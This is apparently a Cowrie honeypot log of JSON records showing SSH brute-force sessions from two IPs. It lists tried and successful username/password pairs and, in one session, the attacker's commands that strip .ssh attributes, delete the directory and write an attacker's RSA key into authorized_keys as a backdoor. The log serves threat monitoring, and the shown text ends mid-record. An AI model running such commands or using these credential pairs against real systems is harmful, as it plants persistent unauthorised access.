{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":59916,"dst_ip":"159.203.135.109","dst_port":22,"session":"02fa034d0b67","protocol":"ssh","message":"New connection: 202.145.0.61:59916 (159.203.135.109:22) [session: 02fa034d0b67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:00.489214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:00.494394Z","src_ip":"202.145.0.61","session":"02fa034d0b67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:00.728744Z","src_ip":"202.145.0.61","session":"02fa034d0b67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abc@1234","message":"login attempt [admin/abc@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:01.695858Z","src_ip":"202.145.0.61","session":"02fa034d0b67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:02.932550Z","src_ip":"202.145.0.61","session":"02fa034d0b67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.692076444625854,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:36.912793Z","src_ip":"45.58.127.90","session":"f7cf9e7856b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":53352,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d8bf8ecf277","protocol":"ssh","message":"New connection: 119.28.9.170:53352 (159.203.135.109:22) [session: 1d8bf8ecf277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:44.036432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:44.045033Z","src_ip":"119.28.9.170","session":"1d8bf8ecf277","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:44.257823Z","src_ip":"119.28.9.170","session":"1d8bf8ecf277","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle12#$","message":"login attempt [oracle/oracle12#$] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:45.141322Z","src_ip":"119.28.9.170","session":"1d8bf8ecf277","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:45.626295Z","src_ip":"119.28.9.170","session":"1d8bf8ecf277","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:45.630115Z","src_ip":"119.28.9.170","session":"1d8bf8ecf277","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:45.634525Z","src_ip":"119.28.9.170","session":"1d8bf8ecf277","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:45.852432Z","src_ip":"119.28.9.170","session":"1d8bf8ecf277","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:46.325612Z","src_ip":"119.28.9.170","session":"1d8bf8ecf277","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:46.329171Z","src_ip":"119.28.9.170","session":"1d8bf8ecf277","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:46.546532Z","src_ip":"119.28.9.170","session":"1d8bf8ecf277","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:46.550813Z","src_ip":"119.28.9.170","session":"1d8bf8ecf277","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":54354,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ef887c496b0","protocol":"ssh","message":"New connection: 119.28.9.170:54354 (159.203.135.109:22) [session: 9ef887c496b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:46.748330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:46.753975Z","src_ip":"119.28.9.170","session":"9ef887c496b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:46.962149Z","src_ip":"119.28.9.170","session":"9ef887c496b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:47.825710Z","src_ip":"119.28.9.170","session":"9ef887c496b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:49.037733Z","src_ip":"119.28.9.170","session":"9ef887c496b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":55220,"dst_ip":"159.203.135.109","dst_port":22,"session":"2411d73d59ce","protocol":"ssh","message":"New connection: 119.28.9.170:55220 (159.203.135.109:22) [session: 2411d73d59ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:49.239891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:49.245274Z","src_ip":"119.28.9.170","session":"2411d73d59ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:49.458978Z","src_ip":"119.28.9.170","session":"2411d73d59ce","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:50.327642Z","src_ip":"119.28.9.170","session":"2411d73d59ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:50.541786Z","src_ip":"119.28.9.170","session":"2411d73d59ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:50.547450Z","src_ip":"119.28.9.170","session":"1d8bf8ecf277","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":48414,"dst_ip":"159.203.135.109","dst_port":22,"session":"3113a2c14800","protocol":"ssh","message":"New connection: 202.145.0.61:48414 (159.203.135.109:22) [session: 3113a2c14800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:56.069702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:56.074918Z","src_ip":"202.145.0.61","session":"3113a2c14800","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:56.316845Z","src_ip":"202.145.0.61","session":"3113a2c14800","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwert123.","message":"login attempt [ubuntu/qwert123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:57.313944Z","src_ip":"202.145.0.61","session":"3113a2c14800","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:03:58.560507Z","src_ip":"202.145.0.61","session":"3113a2c14800","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":41292,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a553b4d6281","protocol":"ssh","message":"New connection: 119.28.9.170:41292 (159.203.135.109:22) [session: 8a553b4d6281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:04:32.606823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:04:32.612288Z","src_ip":"119.28.9.170","session":"8a553b4d6281","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:04:32.824126Z","src_ip":"119.28.9.170","session":"8a553b4d6281","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp_user","password":"ftp_user","message":"login attempt [ftp_user/ftp_user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:04:33.683483Z","src_ip":"119.28.9.170","session":"8a553b4d6281","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:04:34.893956Z","src_ip":"119.28.9.170","session":"8a553b4d6281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":36904,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9ce0a58422a","protocol":"ssh","message":"New connection: 202.145.0.61:36904 (159.203.135.109:22) [session: f9ce0a58422a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:04:50.427840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:04:50.432426Z","src_ip":"202.145.0.61","session":"f9ce0a58422a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 